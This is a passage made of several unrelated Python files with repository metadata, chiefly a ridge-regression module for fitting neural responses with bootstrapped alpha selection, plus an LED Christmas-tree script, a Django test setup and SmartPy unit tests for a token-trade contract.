Rcorr = np.sqrt(np.abs(Rsq)) * np.sign(Rsq) Rcorr[np.isnan(Rcorr)] = 0 Rcorrs.append(Rcorr) log_template = "Training: alpha=%0.3f, mean corr=%0.5f, max corr=%0.5f, over-under(%0.2f)=%d" log_msg = log_template % (a, np.mean(Rcorr), np.max(Rcorr), corrmin, (Rcorr>corrmin).sum()-(-Rcorr>corrmin).sum()) logger.info(log_msg) return Rcorrs def eigridge_corr(Rstim, Pstim, Rresp, Presp, alphas, normalpha=False, corrmin=0.2, singcutoff=1e-10, use_corr=True, force_cmode=None, covmat=None, logger=ridge_logger): """Uses ridge regression with eigenvalue decomposition (instead of SVD) to find a linear transformation of [Rstim] that approximates [Rresp], then tests by comparing the transformation of [Pstim] to [Presp]. This procedure is repeated for each regularization parameter alpha in [alphas]. The correlation between each prediction and each response for each alpha is returned. The regression weights are NOT returned, because computing the correlations without computing regression weights is much, MUCH faster. Parameters ---------- Rstim : array_like, shape (TR, N) Training stimuli with TR time points and N features. Each feature should be Z-scored across time. Pstim : array_like, shape (TP, N) Test stimuli with TP time points and N features. Each feature should be Z-scored across time. Rresp : array_like, shape (TR, M) Training responses with TR time points and M responses (voxels, neurons, what-have-you). Each response should be Z-scored across time. Presp : array_like, shape (TP, M) Test responses with TP time points and M responses. alphas : list or array_like, shape (A,) Ridge parameters to be tested. Should probably be log-spaced. np.logspace(0, 3, 20) works well. normalpha : boolean Whether ridge parameters should be normalized by the largest singular value (LSV) norm of Rstim. Good for comparing models with different numbers of parameters. corrmin : float in [0..1] Purely for display purposes. After each alpha is tested, the number of responses with correlation greater than corrmin minus the number of responses with correlation less than negative corrmin will be printed. For long-running regressions this vague metric of non-centered skewness can give you a rough sense of how well the model is working before it's done. singcutoff : float The first step in ridge regression is computing the singular value decomposition (SVD) of the stimulus Rstim. If Rstim is not full rank, some singular values will be approximately equal to zero and the corresponding singular vectors will be noise. These singular values/vectors should be removed both for speed (the fewer multiplications the better!) and accuracy. Any singular values less than singcutoff will be removed. use_corr : boolean If True, this function will use correlation as its metric of model fit. If False, this function will instead use variance explained (R-squared) as its metric of model fit. For ridge regression this can make a big difference -- highly regularized solutions will have very small norms and will thus explain very little variance while still leading to high correlations, as correlation is scale-free while R**2 is not. Returns ------- Rcorrs : array_like, shape (A, M) The correlation between each predicted response and each column of Presp for each alpha. """ if force_cmode is not None: cmode = force_cmode else: cmode = Rstim.shape[0]<Rstim.shape[1] # print( "Cmode =",cmode) # if cmode: # print( "Number of time points is less than the number of features") # else: # print( "Number of time points is greater than the number of features") logger.info("Doing Eigenvalue decomposition...") if cmode: # Make covmat first dim x first dim if covmat is None: #print( "Rstim shape: ",) #print( Rstim.shape) covmat = np.array(np.dot(Rstim, Rstim.T)) #print( "Covmat shape: ",) #print( covmat.shape) L, Q = np.linalg.eigh(covmat) #print( "COV L.T Rstim.T Rresp: ",) #print( Rstim.T.shape, Q.shape, Q.T.shape, Rresp.shape) Q1 = np.dot(Rstim.T, Q) Q2 = np.dot(Q.T, Rresp) else: # Make covmat second dim x second dim if covmat is None: #print( "Rstim shape (not cmode): ", ) #print( Rstim.shape) covmat = np.array(np.dot(Rstim.T, Rstim)) #print( "Covmat shape: ",) #print( covmat.shape) L, Q = np.linalg.eigh(covmat) #print( Q.T.shape, Rstim.T.shape, Rresp.shape) QT_XT_Y = np.dot(Q.T, np.dot(Rstim.T, Rresp)) # USV^T, mat = Q*L*Q.T ## Precompute some products for speed XQ = np.dot(Pstim, Q) ## Precompute this matrix product for speed #Prespnorms = np.apply_along_axis(np.linalg.norm, 0, Presp) ## Precompute test response norms zPresp = zs(Presp) Prespvar = Presp.var(0) #Prespvar_actual = Presp.var(0) #Prespvar = (np.ones_like(Prespvar_actual) + Prespvar_actual) / 2.0 #logger.info("Average difference between actual & assumed Prespvar: %0.3f" % (Prespvar_actual - Prespvar).mean()) Rcorrs = [] ## Holds training correlations for each alpha for a in alphas: D = 1 / (L + a) # This is for eigridge # if cmode: # pred = np.dot(PStim, reduce(np.dot([Q1, D, Q2]))) # else: # pred = np.dot(PStim, reduce(np.dot([Q, D, QT_XT_Y]))) pred = np.dot(mult_diag(D, XQ, left=False), QT_XT_Y) ## Best (1.75 seconds to prediction in test) # pred = np.dot(mult_diag(D, np.dot(Pstim, Vh.T), left=False), UR) ## Better (2.0 seconds to prediction in test) # pvhd = reduce(np.dot, [Pstim, Vh.T, D]) ## Pretty good (2.4 seconds to prediction in test) # pred = np.dot(pvhd, UR) # wt = reduce(np.dot, [Vh.T, D, UR]).astype(dtype) ## Bad (14.2 seconds to prediction in test) # wt = reduce(np.dot, [Vh.T, D, U.T, Rresp]).astype(dtype) ## Worst # pred = np.dot(Pstim, wt) ## Predict test responses if use_corr: #prednorms = np.apply_along_axis(np.linalg.norm, 0, pred) ## Compute predicted test response norms #Rcorr = np.array([np.corrcoef(Presp[:,ii], pred[:,ii].ravel())[0,1] for ii in range(Presp.shape[1])]) ## Slowly compute correlations #Rcorr = np.array(np.sum(np.multiply(Presp, pred), 0)).squeeze()/(prednorms*Prespnorms) ## Efficiently compute correlations Rcorr = (zPresp * zs(pred)).mean(0) else: ## Compute variance explained resvar = (Presp - pred).var(0) Rsq = 1 - (resvar / Prespvar) Rcorr = np.sqrt(np.abs(Rsq)) * np.sign(Rsq) Rcorr[np.isnan(Rcorr)] = 0 Rcorrs.append(Rcorr) log_template = "Training: alpha=%0.3f, mean corr=%0.5f, max corr=%0.5f, over-under(%0.2f)=%d" log_msg = log_template % (a, np.mean(Rcorr), np.max(Rcorr), corrmin, (Rcorr>corrmin).sum()-(-Rcorr>corrmin).sum()) logger.info(log_msg) return Rcorrs def bootstrap_ridge(Rstim, Rresp, Pstim, Presp, alphas, nboots, chunklen, nchunks, corrmin=0.2, joined=None, singcutoff=1e-10, normalpha=False, single_alpha=False, use_corr=True, logger=ridge_logger, return_wts=True, use_svd=False): """Uses ridge regression with a bootstrapped held-out set to get optimal alpha values for each response. [nchunks] random chunks of length [chunklen] will be taken from [Rstim] and [Rresp] for each regression run. [nboots] total regression runs will be performed. The best alpha value for each response will be averaged across the bootstraps to estimate the best alpha for that response. If [joined] is given, it should be a list of lists where the STRFs for all the voxels in each sublist will be given the same regularization parameter (the one that is the best on average). Parameters ---------- Rstim : array_like, shape (TR, N) Training stimuli with TR time points and N features. Each feature should be Z-scored across time. Rresp : array_like, shape (TR, M) Training responses with TR time points and M different responses (voxels, neurons, what-have-you). Each response should be Z-scored across time. Pstim : array_like, shape (TP, N) Test stimuli with TP time points and N features. Each feature should be Z-scored across time. Presp : array_like, shape (TP, M) Test responses with TP time points and M different responses. Each response should be Z-scored across time. alphas : list or array_like, shape (A,) Ridge parameters that will be tested. Should probably be log-spaced. np.logspace(0, 3, 20) works well. nboots : int The number of bootstrap samples to run. 15 to 30 works well. chunklen : int On each sample, the training data is broken into chunks of this length. This should be a few times longer than your delay/STRF. e.g. for a STRF with 3 delays, I use chunks of length 10. nchunks : int The number of training chunks held out to test ridge parameters for each bootstrap sample. The product of nchunks and chunklen is the total number of training samples held out for each sample, and this product should be about 20 percent of the total length of the training data. corrmin : float in [0..1] Purely for display purposes. After each alpha is tested for each bootstrap sample, the number of responses with correlation greater than this value will be printed. For long-running regressions this can give a rough sense of how well the model works before it's done. joined : None or list of array_like indices If you want the STRFs for two (or more) responses to be directly comparable, you need to ensure that the regularization parameter that they use is the same. To do that, supply a list of the response sets that should use the same ridge parameter here. For example, if you have four responses, joined could be [np.array([0,1]), np.array([2,3])], in which case responses 0 and 1 will use the same ridge parameter (which will be parameter that is best on average for those two), and likewise for responses 2 and 3. singcutoff : float The first step in ridge regression is computing the singular value decomposition (SVD) of the stimulus Rstim. If Rstim is not full rank, some singular values will be approximately equal to zero and the corresponding singular vectors will be noise. These singular values/vectors should be removed both for speed (the fewer multiplications the better!) and accuracy. Any singular values less than singcutoff will be removed. normalpha : boolean Whether ridge parameters (alphas) should be normalized by the largest singular value (LSV) norm of Rstim. Good for rigorously comparing models with different numbers of parameters. single_alpha : boolean Whether to use a single alpha for all responses. Good for identification/decoding. use_corr : boolean If True, this function will use correlation as its metric of model fit. If False, this function will instead use variance explained (R-squared) as its metric of model fit. For ridge regression this can make a big difference -- highly regularized solutions will have very small norms and will thus explain very little variance while still leading to high correlations, as correlation is scale-free while R**2 is not. Returns ------- wt : array_like, shape (N, M) Regression weights for N features and M responses. corrs : array_like, shape (M,) Validation set correlations. Predicted responses for the validation set are obtained using the regression weights: pred = np.dot(Pstim, wt), and then the correlation between each predicted response and each column in Presp is found. alphas : array_like, shape (M,) The regularization coefficient (alpha) selected for each voxel using bootstrap cross-validation. bootstrap_corrs : array_like, shape (A, M, B) Correlation between predicted and actual responses on randomly held out portions of the training set, for each of A alphas, M voxels, and B bootstrap samples. valinds : array_like, shape (TH, B) The indices of the training data that were used as "validation" for each bootstrap sample. """ nresp, nvox = Rresp.shape valinds = [] # Will hold the indices into the validation data for each bootstrap Rcmats = [] for bi in counter(range(nboots), countevery=1, total=nboots): logger.info("Selecting held-out test set..") allinds = range(nresp) indchunks = list(zip(*[iter(allinds)]*chunklen)) random.shuffle(indchunks) heldinds = list(itools.chain(*indchunks[:nchunks])) notheldinds = list(set(allinds)-set(heldinds)) valinds.append(heldinds) RRstim = Rstim[notheldinds,:] PRstim = Rstim[heldinds,:] RRresp = Rresp[notheldinds,:] PRresp = Rresp[heldinds,:] if use_svd: # Run ridge regression using this test set Rcmat = ridge_corr(RRstim, PRstim, RRresp, PRresp, alphas, corrmin=corrmin, singcutoff=singcutoff, normalpha=normalpha, use_corr=use_corr, logger=logger) else: # Run ridge regression using this test set Rcmat = eigridge_corr(RRstim, PRstim, RRresp, PRresp, alphas, corrmin=corrmin, singcutoff=singcutoff, normalpha=normalpha, use_corr=use_corr, logger=logger) Rcmats.append(Rcmat) # Find best alphas if nboots>0: allRcorrs = np.dstack(Rcmats) else: allRcorrs = None if not single_alpha: if nboots==0: raise ValueError("You must run at least one cross-validation step to assign " "different alphas to each response.") logger.info("Finding best alpha for each voxel..") if joined is None: # Find best alpha for each voxel meanbootcorrs = allRcorrs.mean(2) bestalphainds = np.argmax(meanbootcorrs, 0) valphas = alphas[bestalphainds] else: # Find best alpha for each group of voxels valphas = np.zeros((nvox,)) for jl in joined: # Mean across voxels in the set, then mean across bootstraps jcorrs = allRcorrs[:,jl,:].mean(1).mean(1) bestalpha = np.argmax(jcorrs) valphas[jl] = alphas[bestalpha] else: logger.info("Finding single best alpha..") if nboots==0: if len(alphas)==1: bestalphaind = 0 bestalpha = alphas[0] else: raise ValueError("You must run at least one cross-validation step " "to choose best overall alpha, or only supply one" "possible alpha value.") else: meanbootcorr = allRcorrs.mean(2).mean(1) bestalphaind = np.argmax(meanbootcorr) bestalpha = alphas[bestalphaind] valphas = np.array([bestalpha]*nvox) logger.info("Best alpha = %0.3f"%bestalpha) if return_wts: # Find weights logger.info("Computing weights for each response using entire training set..") if use_svd: wt = ridge(Rstim, Rresp, valphas, singcutoff=singcutoff, normalpha=normalpha) else: wt = eigridge(Rstim, Rresp, valphas, singcutoff=singcutoff, normalpha=normalpha) # Predict responses on prediction set logger.info("Predicting responses for predictions set..") if wt.shape[0]==Pstim.shape[1]+1: logger.info("Using intercept in prediction") pred = np.dot(Pstim, wt[1:]) + wt[0] else: pred = np.dot(Pstim, wt) # Find prediction correlations nnpred = np.nan_to_num(pred) if use_corr: corrs = np.nan_to_num(np.array([np.corrcoef(Presp[:,ii], nnpred[:,ii].ravel())[0,1] for ii in range(Presp.shape[1])])) else: resvar = (Presp-pred).var(0) Rsqs = 1 - (resvar / Presp.var(0)) corrs = np.sqrt(np.abs(Rsqs)) * np.sign(Rsqs) return wt, corrs, valphas, allRcorrs, valinds, pred, Pstim ## LH ADDED else: return valphas, allRcorrs, valinds def bootstrap_ridge_shuffle(orig_STRF, Rstim, Rresp, Pstim, Presp, valpha, nboots, chunklen, corrmin=0.2, joined=None, singcutoff=1e-10, normalpha=False, single_alpha=False, use_corr=True, logger=ridge_logger, return_wts=False, use_svd=False): """Uses ridge regression to get distribution of weights when training set is shuffled (for a "null" distribution of the weights). Rresp will be shuffled by permuting the data using random chunks of length [chunklen] for each regression run. [nboots] total regression runs will be performed. The best alpha value for each response will be averaged across the bootstraps to estimate the best alpha for that response. If [joined] is given, it should be a list of lists where the STRFs for all the voxels in each sublist will be given the same regularization parameter (the one that is the best on average). Parameters ---------- Rstim : array_like, shape (TR, N) Training stimuli with TR time points and N features. Each feature should be Z-scored across time. Rresp : array_like, shape (TR, M) Training responses with TR time points and M different responses (voxels, neurons, what-have-you). Each response should be Z-scored across time. Pstim : array_like, shape (TP, N) Test stimuli with TP time points and N features. Each feature should be Z-scored across time. Presp : array_like, shape (TP, M) Test responses with TP time points and M different responses. Each response should be Z-scored across time. alphas : list or array_like, shape (A,) Ridge parameters that will be tested. Should probably be log-spaced. np.logspace(0, 3, 20) works well. nboots : int The number of bootstrap samples to run. 15 to 30 works well. chunklen : int On each sample, the training data is broken into chunks of this length. This should be a few times longer than your delay/STRF. e.g. for a STRF with 3 delays, I use chunks of length 10. corrmin : float in [0..1] Purely for display purposes. After each alpha is tested for each bootstrap sample, the number of responses with correlation greater than this value will be printed. For long-running regressions this can give a rough sense of how well the model works before it's done. joined : None or list of array_like indices If you want the STRFs for two (or more) responses to be directly comparable, you need to ensure that the regularization parameter that they use is the same. To do that, supply a list of the response sets that should use the same ridge parameter here. For example, if you have four responses, joined could be [np.array([0,1]), np.array([2,3])], in which case responses 0 and 1 will use the same ridge parameter (which will be parameter that is best on average for those two), and likewise for responses 2 and 3. singcutoff : float The first step in ridge regression is computing the singular value decomposition (SVD) of the stimulus Rstim. If Rstim is not full rank, some singular values will be approximately equal to zero and the corresponding singular vectors will be noise. These singular values/vectors should be removed both for speed (the fewer multiplications the better!) and accuracy. Any singular values less than singcutoff will be removed. normalpha : boolean Whether ridge parameters (alphas) should be normalized by the largest singular value (LSV) norm of Rstim. Good for rigorously comparing models with different numbers of parameters. single_alpha : boolean Whether to use a single alpha for all responses. Good for identification/decoding. use_corr : boolean If True, this function will use correlation as its metric of model fit. If False, this function will instead use variance explained (R-squared) as its metric of model fit. For ridge regression this can make a big difference -- highly regularized solutions will have very small norms and will thus explain very little variance while still leading to high correlations, as correlation is scale-free while R**2 is not. Returns ------- wt : array_like, shape (N, M) Regression weights for N features and M responses. corrs : array_like, shape (M,) Validation set correlations. Predicted responses for the validation set are obtained using the regression weights: pred = np.dot(Pstim, wt), and then the correlation between each predicted response and each column in Presp is found. alphas : array_like, shape (M,) The regularization coefficient (alpha) selected for each voxel using bootstrap cross-validation. bootstrap_corrs : array_like, shape (A, M, B) Correlation between predicted and actual responses on randomly held out portions of the training set, for each of A alphas, M voxels, and B bootstrap samples. valinds : array_like, shape (TH, B) The indices of the training data that were used as "validation" for each bootstrap sample. """ nresp, nvox = Rresp.shape valinds = [] # Will hold the indices into the validation data for each bootstrap wts = [] mean_diff = np.zeros((orig_STRF.shape[0], orig_STRF.shape[1], nboots)) pvals = np.zeros((orig_STRF.shape[0], orig_STRF.shape[1])) logger.info("Calculating covariance matrix and saving") covmat = np.array(np.dot(Rstim.T, Rstim)) logger.info("Doing eigenvalue decomposition on stim cov matrix") L, Q = np.linalg.eigh(covmat) for bi in counter(range(nboots), countevery=1, total=nboots): logger.info("Selecting held-out test set..") allinds = range(nresp) indchunks = list(zip(*[iter(allinds)]*chunklen)) random.shuffle(indchunks) shuffinds = list(itools.chain(*indchunks)) extra_inds = np.setdiff1d(allinds, shuffinds).tolist() shuffinds.extend(extra_inds) valinds.append(shuffinds) RRresp = Rresp[shuffinds,:] # Train responses, now shuffled by chunks # Find weights logger.info("Computing weights for each response using shuffled training set..") if use_svd: wt = ridge(Rstim, RRresp, valpha, singcutoff=singcutoff, normalpha=normalpha) else: wt = eigridge(Rstim, RRresp, valpha, singcutoff=singcutoff, normalpha=normalpha, Q=Q, L=L, covmat=covmat) logger.info("Calculating difference between original STRF weights and shuffled weights") # This calculates the magnitude of each, thus ensuring a two-tailed test mean_diff[:,:,bi] = np.abs(orig_STRF) - np.abs(wt) if return_wts: wts.append(wt) # Calculate the p-values given the difference in weights logger.info("Calculating shuffled p-value now") pvals = 1. - np.sum(mean_diff>0,axis=2, dtype=np.float)/nboots #logger.info(pvals) return wts, valinds, pvals

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中文转二进制.py

ZSX-JOJO/crawler_html2pdf

96a72980cda3b1920557112b86bdbddd06c26ca0

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710

2017-02-09T10:05:56.000Z

2019-12-06T08:12:29.000Z

中文转二进制.py

ZSX-JOJO/crawler_html2pdf

96a72980cda3b1920557112b86bdbddd06c26ca0

[ "Apache-2.0" ]

33

2017-02-10T10:03:33.000Z

2019-07-18T13:45:19.000Z

中文转二进制.py

ZSX-JOJO/crawler_html2pdf

96a72980cda3b1920557112b86bdbddd06c26ca0

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627

2017-02-10T05:04:56.000Z

2019-12-12T07:53:14.000Z

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py

Python

ravens/models/__init__.py

EricCousineau-TRI/deformable-ravens

6ff2443ba7f6673ba4696484e052441262cc14d7

[ "Apache-2.0" ]

98

2020-12-23T02:32:01.000Z

2022-03-30T07:09:59.000Z

ravens/models/__init__.py

EricCousineau-TRI/deformable-ravens

6ff2443ba7f6673ba4696484e052441262cc14d7

[ "Apache-2.0" ]

8

2020-12-22T16:17:24.000Z

2021-10-13T23:44:48.000Z

ravens/models/__init__.py

EricCousineau-TRI/deformable-ravens

6ff2443ba7f6673ba4696484e052441262cc14d7

[ "Apache-2.0" ]

26

2020-12-22T16:14:11.000Z

2022-03-03T10:27:29.000Z

from ravens.models.gt_state import MlpModel from ravens.models.resnet import ResNet43_8s from ravens.models.attention import Attention from ravens.models.transport import Transport from ravens.models.transport_goal import TransportGoal from ravens.models.conv_mlp import ConvMLP from ravens.models.regression import Regression

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py

Python

scripts/row_by_row.py

limsim/rgbxmastree

d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda

[ "Apache-2.0" ]

2

2021-12-05T21:19:06.000Z

2021-12-13T04:34:10.000Z

scripts/row_by_row.py

limsim/rgbxmastree

d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda

[ "Apache-2.0" ]

1

2021-12-05T21:40:32.000Z

2021-12-06T21:03:15.000Z

scripts/row_by_row.py

limsim/rgbxmastree

d10aa7dc47bb2a296d81ac0d8b1d8f199cb82dda

[ "Apache-2.0" ]

1

2021-11-11T18:12:58.000Z

from tree import RGBXmasTree from colorzero import Color, Hue from time import sleep import random tree = RGBXmasTree() tree.brightness = 0.04 try: rowOrder = [0,24,19,6,12,16,15,7,1,23,20,5,11,17,14,8,2,22,21,4,10,18,13,9] row1 = [(1, 1, 1), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, 1, 1), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (1, 1, 1), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, 1, 1), (0, 0, 0), (0, 0, 0), (1, 1, 1), (0, 0, 0), (0, 0, 0), (0, 0, 0), (0, 0, 0), (1, 1, 1)] row2 = [(1, 1, 1), (1, 1, 1), (0, 0, 0), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, 1, 1), (0, 0, 0), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (0, 0, 0), (1, 1, 1), (1, 1, 1), (0, 0, 0), (0, 0, 0), (1, 1, 1), (1, 1, 1)] row3 = [(1, 1, 1), (1, 1, 1), (1, 1, 1), (0, 0, 0), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1), (1, 1, 1)] allRows = [row1, row2, row3] while True: darkTree = [(0,0,0)] * 25 for j in range(3): tree.value = allRows[j] sleep(1) tree.off() # tree.value = [ # (1,1,1), (0,0,0), (0,0,0), (0,0,0), (0,0,0), # (1,1,1), (1,1,1), (0,0,0), (0,0,0), (0,0,0), # (0,0,0), (1,1,1), (0,0,0), (0,0,0), (1,1,1), # (1,1,1), (0,0,0), (0,0,0), (1,1,1), (0,0,0), # (0,0,0), (0,0,0), (0,0,0), (1,1,1), (0,0,0) # ] except KeyboardInterrupt: tree.off() tree.close()

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py

Python

memcachepool/tests/__init__.py

dudeitscesar/django-memcached-pool

b1521d5894174cf02720a6946c58249bd3995571

[ "Apache-2.0" ]

22

2015-01-05T16:21:10.000Z

2021-03-15T11:59:57.000Z

memcachepool/tests/__init__.py

dudeitscesar/django-memcached-pool

b1521d5894174cf02720a6946c58249bd3995571

[ "Apache-2.0" ]

8

2015-01-05T18:18:24.000Z

2022-01-19T14:30:09.000Z

memcachepool/tests/__init__.py

dudeitscesar/django-memcached-pool

b1521d5894174cf02720a6946c58249bd3995571

[ "Apache-2.0" ]

10

2015-01-27T00:21:22.000Z

2021-06-25T17:09:18.000Z

import os def setUp(): os.environ['DJANGO_SETTINGS_MODULE'] = 'memcachepool.tests.settings'

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8918123fbc39bf09677ed8df18381cde9705a4bd

38

py

Python

losses/xentropy_loss.py

mo-vic/standalone-center-loss

49730909be09d4eefbd43511227f4e787ad8af51

[ "MIT" ]

9

2019-09-09T00:29:16.000Z

2020-03-25T10:18:07.000Z

losses/xentropy_loss.py

mo-vic/ConvLSTM

ce4b57b9370563b1cc90e3e2d0266288dbe6236f

[ "MIT" ]

null

losses/xentropy_loss.py

mo-vic/ConvLSTM

ce4b57b9370563b1cc90e3e2d0266288dbe6236f

[ "MIT" ]

null

from torch.nn import CrossEntropyLoss

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6

64df32d91b74150dfdaf7f131f5b370d59b832fd

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py

Python

smart-contracts/metaverseTrade_test.py

i3games/the-swap

2acc01ab26407c15cf8868290db47fae723ac7f2

[ "MIT" ]

5

2021-12-24T00:54:45.000Z

2022-03-04T09:27:42.000Z

smart-contracts/metaverseTrade_test.py

i3games/the-swap

2acc01ab26407c15cf8868290db47fae723ac7f2

[ "MIT" ]

null

smart-contracts/metaverseTrade_test.py

i3games/the-swap

2acc01ab26407c15cf8868290db47fae723ac7f2

[ "MIT" ]

null

"""Unit tests for the MetaverseTrade class. """ import smartpy as sp # Import the metaverseTrade and fa2Contract modules metaverseTrade = sp.io.import_script_from_url("file:metaverseTrade.py") fa2Contract = sp.io.import_script_from_url("file:templates/fa2Contract.py") def get_test_environment(): # Create the test accounts user1 = sp.test_account("user1") user2 = sp.test_account("user2") user3 = sp.test_account("user3") fa2_admin = sp.test_account("fa2_admin") # Initialize the FA2 contract fa2 = fa2Contract.FA2( config=fa2Contract.FA2_config(), admin=fa2_admin.address, metadata=sp.utils.metadata_of_url("ipfs://aaa")) # Initialize the metaverse trade contract tradeContract = metaverseTrade.MetaverseTrade( metadata=sp.utils.metadata_of_url("ipfs://bbb"), fa2=fa2.address, expiration_time=5) # Add all the contracts to the test scenario scenario = sp.test_scenario() scenario += fa2 scenario += tradeContract # Save all the variables in a test environment dictionary testEnvironment = { "scenario" : scenario, "user1" : user1, "user2" : user2, "user3" : user3, "fa2_admin" : fa2_admin, "fa2" : fa2, "tradeContract" : tradeContract} return testEnvironment @sp.add_test(name="Test trade") def test_trade(): # Get the test environment testEnvironment = get_test_environment() scenario = testEnvironment["scenario"] user1 = testEnvironment["user1"] user2 = testEnvironment["user2"] user3 = testEnvironment["user3"] fa2_admin = testEnvironment["fa2_admin"] fa2 = testEnvironment["fa2"] tradeContract = testEnvironment["tradeContract"] # Mint some tokens fa2.mint( address=user1.address, token_id=sp.nat(0), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://ccc")}).run(sender=fa2_admin) fa2.mint( address=user1.address, token_id=sp.nat(1), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://ddd")}).run(sender=fa2_admin) fa2.mint( address=user2.address, token_id=sp.nat(2), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://eee")}).run(sender=fa2_admin) fa2.mint( address=user3.address, token_id=sp.nat(3), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://eee")}).run(sender=fa2_admin) # Add the trade contract as operator for the tokens scenario += fa2.update_operators( [sp.variant("add_operator", fa2.operator_param.make( owner=user1.address, operator=tradeContract.address, token_id=0)), sp.variant("add_operator", fa2.operator_param.make( owner=user1.address, operator=tradeContract.address, token_id=1)), sp.variant("add_operator", fa2.operator_param.make( owner=user1.address, operator=tradeContract.address, token_id=2))]).run(sender=user1) scenario += fa2.update_operators( [sp.variant("add_operator", fa2.operator_param.make( owner=user2.address, operator=tradeContract.address, token_id=2))]).run(sender=user2) scenario += fa2.update_operators( [sp.variant("add_operator", fa2.operator_param.make( owner=user3.address, operator=tradeContract.address, token_id=3))]).run(sender=user3) # Check that the FA2 contract ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100) scenario.verify(fa2.data.ledger[(user3.address, 3)].balance == 100) # Check that user 1 cannot propose a trade with a token it doesn't own scenario += tradeContract.propose_trade( token=2, for_token=3).run(valid=False, sender=user1) # User 1 proposes a trade scenario += tradeContract.propose_trade( token=0, for_token=2).run(valid=False, sender=user1, amount=sp.tez(3)) scenario += tradeContract.propose_trade( token=0, for_token=2).run(sender=user1) # Check that the FA2 contract ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100 - 1) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100) scenario.verify(fa2.data.ledger[(user3.address, 3)].balance == 100) scenario.verify(fa2.data.ledger[(tradeContract.address, 0)].balance == 1) # Check that the third user cannot accept the trade because it doesn't own # the requested token scenario += tradeContract.accept_trade(0).run(valid=False, sender=user3) # The second user accepts the trade scenario += tradeContract.accept_trade(0).run(valid=False, sender=user2, amount=sp.tez(3)) scenario += tradeContract.accept_trade(0).run(sender=user2) # Check that the OBJKT ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100 - 1) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user1.address, 2)].balance == 1) scenario.verify(fa2.data.ledger[(user2.address, 0)].balance == 1) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100 - 1) scenario.verify(fa2.data.ledger[(user3.address, 3)].balance == 100) scenario.verify(fa2.data.ledger[(tradeContract.address, 0)].balance == 0) # Check that the second user cannot accept twice the trade scenario += tradeContract.accept_trade(0).run(valid=False, sender=user2) # Check that the first user cannot cancel the trade because it's executed scenario += tradeContract.cancel_trade(0).run(valid=False, sender=user1) @sp.add_test(name="Test cancel trade") def test_cancel_trade(): # Get the test environment testEnvironment = get_test_environment() scenario = testEnvironment["scenario"] user1 = testEnvironment["user1"] user2 = testEnvironment["user2"] fa2_admin = testEnvironment["fa2_admin"] fa2 = testEnvironment["fa2"] tradeContract = testEnvironment["tradeContract"] # Mint some tokens fa2.mint( address=user1.address, token_id=sp.nat(0), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://ccc")}).run(sender=fa2_admin) fa2.mint( address=user1.address, token_id=sp.nat(1), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://ddd")}).run(sender=fa2_admin) fa2.mint( address=user2.address, token_id=sp.nat(2), amount=sp.nat(100), metadata={"" : sp.utils.bytes_of_string("ipfs://eee")}).run(sender=fa2_admin) # Add the trade contract as operator for the tokens scenario += fa2.update_operators( [sp.variant("add_operator", fa2.operator_param.make( owner=user1.address, operator=tradeContract.address, token_id=0)), sp.variant("add_operator", fa2.operator_param.make( owner=user1.address, operator=tradeContract.address, token_id=1))]).run(sender=user1) scenario += fa2.update_operators( [sp.variant("add_operator", fa2.operator_param.make( owner=user2.address, operator=tradeContract.address, token_id=2))]).run(sender=user2) # Check that the FA2 contract ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100) # User 1 proposes a trade scenario += tradeContract.propose_trade( token=0, for_token=2).run(sender=user1) # Check that the FA2 contract ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100 - 1) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100) scenario.verify(fa2.data.ledger[(tradeContract.address, 0)].balance == 1) # Check that the second user cannot cancel the trade scenario += tradeContract.cancel_trade(0).run(valid=False, sender=user2) # User 1 cancels the trade scenario += tradeContract.cancel_trade(0).run(valid=False, sender=user1, amount=sp.tez(3)) scenario += tradeContract.cancel_trade(0).run(sender=user1) # Check that the FA2 contract ledger information is correct scenario.verify(fa2.data.ledger[(user1.address, 0)].balance == 100) scenario.verify(fa2.data.ledger[(user1.address, 1)].balance == 100) scenario.verify(fa2.data.ledger[(user2.address, 2)].balance == 100) scenario.verify(fa2.data.ledger[(tradeContract.address, 0)].balance == 0) # Check that the first user cannot cancel the trade again scenario += tradeContract.cancel_trade(0).run(valid=False, sender=user1)

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1

0

null

0

6

8f44a68e996bc4721f3d06f9d7c998ba6a0e847c

44

py

Python

flare/translations/__init__.py

phorward/flare

89a20bd1fb5ef7d0deebbd1f76c58a063e86f41e

[ "MIT" ]

16
